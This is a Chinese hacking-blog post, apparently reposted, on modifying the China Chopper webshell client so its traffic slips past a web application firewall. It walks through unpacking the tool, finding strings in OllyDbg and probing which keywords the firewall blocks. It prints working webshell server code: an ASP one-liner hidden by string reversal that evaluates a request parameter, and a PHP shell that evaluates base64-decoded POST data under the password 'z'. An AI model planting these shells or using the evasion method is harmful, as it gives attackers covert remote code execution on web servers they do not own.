记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

菜刀炼利刃——砍破WAF

2013-12-31 12:30
首先,标题有些夸张,我承认了。
    其次,这篇文章没什么技术含量,文字游戏而已,我也承认了。
    最后,大牛漂过,勿喷……

    以前乌云空间好多同学提到或求助绕过Waf的方法,上传的一句话要么被杀,要么被拦……;本文不讨论一句话的免杀问题(其实也没什么好讨论的),也不涉及上传方法等等问题;本文的重点是改造自己手里的菜刀,让其突破Waf的拦截以方便自己使用。

改造方法:

    一、中转数据已经有同学发过,讨论过了
    模式图:

    中转数据的优、缺点不讨论了……
    (注意:本机中转相对来说是菜刀直接接收数据了,因为电脑是你的电脑。^_^)

    二、自写菜刀已讨论过
     最根本的方法,但需要有编程能力。

    三、修改现有菜刀
    这个就是本文所要讲述的。

所需工具:Chopper(20111116);Ollydbg(XX版);WinSock Expert+NC/Burpsuite;PEID;ImportREC/XXX脱壳机
要求知识:能认识常用中、英文;会打字。
改造步骤:
    1、脱壳
        我使用的菜刀(20111116)大小如图:

        作者加了UPX压缩壳,PEID侦测如图:

        使用PEID自带的插件/OD/脱壳机 脱壳修复(此处省略几百字),完成后如图:



    2、使用OD载入脱壳后菜刀
        将脱壳后菜刀拖入OD,使用字符串查找插件:

        在查找到的字串中查找 execute("execute 关健字,来到如图所示位置,选择跟随:

        跳到下图所示位置,右健:

        这时数据窗口中已经到了我要修改的地方了,点选以Unicode显示:

        至此前期工作已经准备完毕。

    3、测试X Waf拦截的关键字
        我用WinSock Expert截取了多个菜刀的通信包,使用BurpSuite单次发送,测试X Waf所拦截的关键字。

经过漫长的测试,最终我得到了X Waf所过滤的关键字“Execute("Execute、Response.Write……”,下面就可以有针对性的改进自己的菜刀了。

    4、修改菜刀,去掉Post数据中的一些字串
        有了前面测试所获得的关键字,下面着重改进服务端和客户端,让通信过程中不产生Waf拦截的关键字。
         我是这样改进的:
    ASP:
         Execute("Execute =Eval("execute/Execute global("execute;
        response.write写进服务端;
         代码如下:

<%
Function Writesource(str)
Response.write(str)
End Function
Function MorfiCoder(Code)
MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"\*\",vbCrlf)
End Function
Execute MorfiCoder(")/*/z/*/(tseuqer lave")
%>


    这样我们在菜刀的代码中就可以直接调用Writesource(str)这个函数(函数名长度可以自己控制,以节约一定的字符),效果和Response.write一样。

    ASPX:
        我是这样改进的(整个过程N多测试,此处省略几千字):
        所有的Response.Write = Response. Write(加几个空格自定,.net的容错性真好!)
    PHP
        把=@eval(base64_decode($_POST[z0]))写进服务端,客户端的=@eval(base64_decode($_POST[z0]))以其它内容替代,比如:a=asdfsdfsdfdfdfk,只要长度刚好相等即可。
         PHP服务端代码如下:

<?php
$sess = $_POST['z'];
if ($sess!="")
{
$me=base64_decode($_POST['z0']);
@eval("\$str = $me;");
}
?>

密码为z.
         修改后如图:
ASP:

ASPX:

PHP:




    将修改后的地方选中,复制到可执行文件》再另存,打磨后的菜刀就出世了,高兴的话加个壳再压缩一下……
至此ASP、ASPX、PHP已完美过了X Waf(亲测),而且没有功能缺失;唯一的缺点是我的服务端中仍有肉眼可见的关键字,这个就要以后再改进了。

                                    垃圾文,大牛勿喷
知识来源: www.2cto.com/Article/201312/269049.html

阅读:248409 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“菜刀炼利刃——砍破WAF”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

ANNOUNCE

ADS

标签云